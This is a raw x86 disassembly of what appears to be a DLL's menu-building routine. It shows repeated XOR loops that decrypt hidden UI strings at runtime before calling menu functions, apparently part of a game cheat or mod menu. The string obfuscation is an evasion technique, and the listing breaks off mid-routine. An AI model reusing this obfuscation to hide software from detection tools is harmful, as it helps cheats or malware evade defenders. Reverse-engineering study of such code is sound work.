mov dword [esp + 0x10], eax
mov eax, dword [eax + 0x1bec]
mov edi, dword [eax + 0x1fc]
lea esi, [eax + 0x1f8]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x10104e8f
inc ecx
test edi, edi
je 0x10104e79
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10104e7e
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov eax, dword [esp + 0x14]
mov edx, dword [esi]
mov ecx, dword [esi + 8]
mov eax, dword [eax + 0x1f0]
mov dword [ecx + edx*4], eax
inc dword [esi]
mov eax, dword [esp + 0x14]
mov dword [eax + 0x1f0], 0x435c0000
mov eax, dword [esp + 0x10]
and dword [eax + 0x1cd4], 0xfffffffe
mov eax, dword [0x101ee034]
movq xmm0, qword [0x101ee02c]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x350], eax
mov al, byte [0x101ee038]
mov byte [esp + 0x354], al
xor eax, eax
cmp dword [0x10225d40], 2
movq qword [esp + 0x348], xmm0
mov dword [esp + 0x14], eax
jl 0x10105006
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ee02c]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x348], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x34c]
xorps xmm1, xmm0
movd dword [esp + 0x34c], xmm1
mov ebx, dword [esp + 0x14]
nop word [eax + eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x348], cl
inc ebx
cmp ebx, 0xd
jl 0x10105010
lea edx, [esi + 0xf00]
lea ecx, [esp + 0x348]
call fcn.1016d3d0
mov eax, dword [0x10224ca0]
cmp byte [eax + 0xf00], 0
je 0x101050ef
lea esi, [eax + 0xf04]
xor ebx, ebx
mov eax, dword [str.q_FZA6]
mov dword [esp + 0x1d8], eax
mov ax, word [0x101efa38]
mov word [esp + 0x1dc], ax
mov al, byte [0x101efa3a]
mov byte [esp + 0x1de], al
nop
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x1d8], cl
inc ebx
cmp ebx, 7
jl 0x10105090
push 0
push str._d_ms
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0x384
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 1
push eax
push esi
mov edx, 4
lea ecx, [esp + 0x1ec]
call fcn.10170bf0
mov edi, dword [0x103501f8]
mov eax, dword [edi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [edi + 0x1bec]
mov ecx, dword [edx + 0x1f8]
mov eax, dword [edx + 0x200]
mov eax, dword [eax + ecx*4 - 4]
mov dword [edx + 0x1f0], eax
lea eax, [ecx - 1]
mov dword [edx + 0x1f8], eax
mov eax, dword [edi + 0x1bec]
mov ecx, dword [eax + 0x1f8]
lea esi, [eax + 0x1f8]
mov dword [esp + 0x14], eax
mov eax, dword [esi + 4]
cmp ecx, eax
jne 0x10105165
inc ecx
test eax, eax
je 0x10105153
cdq
sub eax, edx
sar eax, 1
add eax, dword [esi + 4]
jmp 0x10105158
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov edx, dword [esi]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 0x14]
mov eax, dword [eax + 0x1f0]
mov dword [ecx + edx*4], eax
inc dword [esi]
mov eax, dword [esp + 0x14]
mov dword [eax + 0x1f0], 0x42f00000
and dword [edi + 0x1cd4], 0xfffffffe
mov eax, dword [0x101efcec]
movq xmm0, qword [str.q_FZ]
mov esi, dword [0x10224ca0]
mov dword [esp + 0x2f0], eax
mov ax, word [0x101efcf0]
movq qword [esp + 0x2e8], xmm0
mov word [esp + 0x2f4], ax
test ah, ah
je 0x1010531d
xor eax, eax
cmp dword [0x10225d40], 2
mov dword [esp + 0x14], eax
jl 0x101052e6
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.q_FZ]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x2e8], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x2ec]
xorps xmm1, xmm0
movd dword [esp + 0x2ec], xmm1
mov ebx, dword [esp + 0x14]
nop word [eax + eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x2e8], cl
inc ebx
cmp ebx, 0xe
jl 0x101052f0
lea edx, [esi + 0x3370]
lea ecx, [esp + 0x2e8]
call fcn.1016d3d0
movups xmm0, xmmword [str._CWCUGS]
mov esi, dword [0x10224ca0]
xor edx, edx
mov al, byte [0x101ee524]
add esi, 0x35ad
cmp dword [0x10225d40], 2
mov byte [esp + 0x42c], al
movups xmmword [esp + 0x41c], xmm0
mov dword [esp + 0x10], edx
jl 0x101054a4
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x41c]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x41c], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x420]
xorps xmm1, xmm0
movd dword [esp + edx + 0x420], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10105390
mov dword [esp + 0x10], edx
cmp edx, 0x11
jge 0x101054db
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x41c], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x11
jl 0x101054a4
mov edx, esi
lea ecx, [esp + 0x41c]
call fcn.1016d3d0
mov esi, dword [0x103501f8]
mov eax, dword [esi + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [esi + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x10105553
movss xmm0, dword [esi + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
mov esi, dword [esi + 0x1bec]
xor edx, edx
add esi, 0xe0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
push dword [eax + ecx*4 - 4]
mov ecx, str.Prepare_revolver_Key
call fcn.101501c0
mov edi, dword [esi + 4]
mov ecx, dword [esi]
mov dword [esp + 0x14], eax
cmp ecx, edi
jne 0x101055a3
inc ecx
test edi, edi
je 0x10105591
mov eax, edi
cdq
sub eax, edx
sar eax, 1
add eax, edi
jmp 0x10105596
mov eax, 8
cmp eax, ecx
cmovg ecx, eax
push ecx
mov ecx, esi
call fcn.100be2b0
mov ecx, dword [esi]
mov eax, dword [esi + 8]
mov edx, dword [esp + 0x14]
push ecx
mov dword [esp + 0x18], 0x42c80000
mov dword [eax + ecx*4], edx
lea eax, [esp + 0x18]
inc dword [esi]
mov ecx, 0x101d04ee
mov edx, dword [0x10224ca0]
push eax
mov dword [esp + 0x20], 0
lea edx, [edx + 0x36c0]
call fcn.100c0100
mov eax, dword [0x103501f8]
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
cmp byte [0x101efe23], 0
movq xmm0, qword [str.qDF_]
mov eax, dword [0x101efe20]
mov esi, dword [0x10224ca0]
mov edi, dword [0x10225d40]
movq qword [esp + 0x37c], xmm0
mov dword [esp + 0x384], eax
je 0x10105770
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x1010573f
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.qDF_]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x37c], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x380]
xorps xmm1, xmm0
movd dword [esp + 0x380], xmm1
mov ebx, dword [esp + 0x14]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x37c], cl
inc ebx
cmp ebx, 0xc
jl 0x10105743
lea edx, [esi + 0x359c]
lea ecx, [esp + 0x37c]
call fcn.1016d3d0
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
mov byte [eax + 0xa8], 1
mov edx, dword [ecx + 0x1bec]
cmp byte [edx + 0xab], 0
jne 0x101057ec
movss xmm0, dword [ecx + 0x15a8]
addss xmm0, dword [edx + 0xf4]
movss dword [edx + 0xec], xmm0
mov eax, dword [edx + 0xf8]
mov dword [edx + 0xf0], eax
mov eax, dword [edx + 0x11c]
mov ecx, dword [edx + 0x120]
mov dword [edx + 0x114], eax
mov dword [edx + 0x118], ecx
mov eax, dword [edx + 0x128]
mov dword [edx + 0x124], eax
cmp byte [0x101ef3b3], 0
movq xmm0, qword [0x101ef3a8]
mov eax, dword [0x101ef3b0]
mov esi, dword [0x10224ca0]
movq qword [esp + 0x394], xmm0
mov dword [esp + 0x39c], eax
je 0x1010596d
xor eax, eax
mov dword [esp + 0x14], eax
cmp edi, 2
jl 0x10105937
movaps xmm2, xmmword [0x101f8d60]
movaps xmm4, xmmword [0x101f9240]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
mov eax, dword [0x101f8ee0]
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x101f8da0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x101ef3a8]
xorps xmm1, xmm0
movaps xmm0, xmm2
movd dword [esp + 0x394], xmm1
movaps xmm1, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x101f8e30]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
movd xmm0, eax
mov eax, 8
packuswb xmm1, xmm1
paddb xmm1, xmm0
mov dword [esp + 0x14], eax
movd xmm0, dword [esp + 0x398]
xorps xmm1, xmm0
movd dword [esp + 0x398], xmm1
mov ebx, dword [esp + 0x14]
nop dword [eax + eax]
mov eax, 0x8fb823ef
mov cl, bl
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x394], cl
inc ebx
cmp ebx, 0xc
jl 0x10105940
lea edx, [esi + 0x359e]
lea ecx, [esp + 0x394]
call fcn.1016d3d0
mov eax, dword [0x103501f8]
xor edx, edx
mov dword [esp + 0x10], edx
mov eax, dword [eax + 0x1bec]
dec dword [eax + 0xe0]
mov eax, dword [0x101ee980]
mov dword [esp + 0x9f0], eax
mov al, byte [0x101ee984]
mov byte [esp + 0x9f4], al
movups xmm0, xmmword [str.V4eWDLXRTSV_r_5_D]
movups xmmword [esp + 0x9b0], xmm0
movups xmm0, xmmword [0x101ee950]
movups xmmword [esp + 0x9c0], xmm0
movups xmm0, xmmword [0x101ee960]
movups xmmword [esp + 0x9d0], xmm0
movups xmm0, xmmword [0x101ee970]
movups xmmword [esp + 0x9e0], xmm0
cmp edi, 2
jl 0x10105b34
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop dword [eax + eax]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x9b0]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x9b0], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x9b4]
xorps xmm1, xmm0
movd dword [esp + edx + 0x9b4], xmm1
add edx, 8
cmp edx, 0x40
jl 0x10105a20
mov dword [esp + 0x10], edx
cmp edx, 0x45
jge 0x10105b6b
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x9b0], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x45
jl 0x10105b34
mov eax, dword [0x10224ca0]
movq xmm0, qword [0x101ee440]
add eax, 0x36e4
mov dword [esp + 0x10], eax
mov ax, word [0x101ee448]
movq qword [esp + 0x4e8], xmm0
mov word [esp + 0x4f0], ax
test ah, ah
je 0x10105bcc
xor ebx, ebx
nop
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x4e8], cl
inc ebx
cmp ebx, 0xa
jl 0x10105ba0
xorps xmm0, xmm0
mov dword [esp + 0x6a8], 0
lea ecx, [esp + 0x4e8]
mov dword [esp + 0x6ac], 0
movups xmmword [esp + 0x698], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10105bf7
sub ecx, edx
lea eax, [esp + 0x4e8]
push ecx
push eax
lea ecx, [esp + 0x6a0]
call fcn.10027940
cmp dword [esp + 0x6ac], 0xf
lea eax, [esp + 0x698]
lea edx, [esp + 0x9b0]
cmova eax, dword [esp + 0x698]
xor esi, esi
cmp byte [esp + 0x9b0], 0
mov dword [esp + 0x14], eax
je 0x10105c63
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10105c48
sub ecx, edi
inc edx
add edx, ecx
inc esi
cmp byte [edx], al
jne 0x10105c43
mov eax, dword [esp + 0x14]
mov edi, dword [0x10225d40]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x9b0]
push 1
push 0xffffffffffffffff
push esi
push ecx
push 0x1016ee10
mov ecx, eax
call fcn.1016ee70
mov ecx, dword [esp + 0x6ac]
cmp ecx, 0xf
jbe 0x10105cbc
mov edx, dword [esp + 0x698]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10105cb2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov eax, dword [0x10224ca0]
mov dword [esp + 0x6a8], 0
mov dword [esp + 0x6ac], 0xf
mov byte [esp + 0x698], 0
cmp dword [eax + 0x36e4], 9
jne 0x1010632e
movups xmm0, xmmword [0x101eecd0]
lea esi, [eax + 0x3708]
xor edx, edx
mov ax, word [0x101eece0]
mov word [esp + 0x504], ax
mov al, byte [0x101eece2]
mov byte [esp + 0x506], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x4f4], xmm0
cmp edi, 2
jl 0x10105e64
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
nop
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x4f4]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x4f4], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x4f8]
xorps xmm1, xmm0
movd dword [esp + edx + 0x4f8], xmm1
add edx, 8
cmp edx, 0x10
jl 0x10105d50
mov dword [esp + 0x10], edx
cmp edx, 0x13
jge 0x10105e9b
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x4f4], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x13
jl 0x10105e64
xorps xmm0, xmm0
mov dword [esp + 0x6c0], 0
lea ecx, [esp + 0x4f4]
mov dword [esp + 0x6c4], 0
movups xmmword [esp + 0x6b0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10105ec6
sub ecx, edx
lea eax, [esp + 0x4f4]
push ecx
push eax
lea ecx, [esp + 0x6b8]
call fcn.10027940
cmp dword [esp + 0x6c4], 0xf
lea ecx, [esp + 0x6b0]
mov dword [esp + 0xe4], esi
cmova ecx, dword [esp + 0x6b0]
mov dword [esp + 0xe8], 0
mov dword [esp + 0xec], 0
mov eax, dword [esi + 0x14]
lea edx, [eax + 1]
cmp eax, 0xf
jbe 0x10105f25
mov esi, dword [esi]
lea eax, [esp + 0xe4]
mov dword [esp + 0x7c], 0
push eax
push 0x100c3ce0
push 0x40000
lea eax, [esp + 0x88]
mov dword [esp + 0x8c], 0
push eax
push edx
push esi
xor edx, edx
call fcn.10173cf0
mov ecx, dword [esp + 0x6c4]
cmp ecx, 0xf
jbe 0x10105f97
mov edx, dword [esp + 0x6b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10105f8d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov eax, dword [0x103501f8]
mov dword [esp + 0x6c0], 0
mov dword [esp + 0x6c4], 0xf
mov byte [esp + 0x6b0], 0
cmp byte [eax + 0x1dab], 0
mov ecx, dword [eax + 0x1bec]
je 0x10105ff7
cmp byte [eax + 0x1daa], 0
jne 0x10105ff7
mov eax, dword [eax + 0x1d58]
cmp eax, dword [ecx + 0x138]
jne 0x10105fe8
mov edx, dword [ecx + 0x13c]
test dl, 1
je 0x1010632e
cmp dword [eax + 0x1bf4], ecx
je 0x10106016
mov ecx, 2
call fcn.1015bf80
movups xmm0, xmmword [str.V4eWDLXRTSV_r_5_D]
mov eax, dword [0x101ee980]
xor edx, edx
mov dword [esp + 0x240], eax
mov al, byte [0x101ee984]
mov byte [esp + 0x244], al
mov dword [esp + 0x10], edx
movups xmmword [esp + 0x200], xmm0
movups xmm0, xmmword [0x101ee950]
movups xmmword [esp + 0x210], xmm0
movups xmm0, xmmword [0x101ee960]
movups xmmword [esp + 0x220], xmm0
movups xmm0, xmmword [0x101ee970]
movups xmmword [esp + 0x230], xmm0
cmp edi, 2
jl 0x101064d0
movaps xmm0, xmmword [0x101f8ee0]
movaps xmm4, xmmword [0x101f8d60]
movaps xmm3, xmmword [0x101f9240]
movaps xmm5, xmmword [0x101f8e30]
movaps xmmword [esp + 0x20], xmm0
mov ecx, dword [esp + 0x20]
movd xmm0, edx
lea eax, [edx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x200]
xorps xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movd dword [esp + edx + 0x200], xmm1
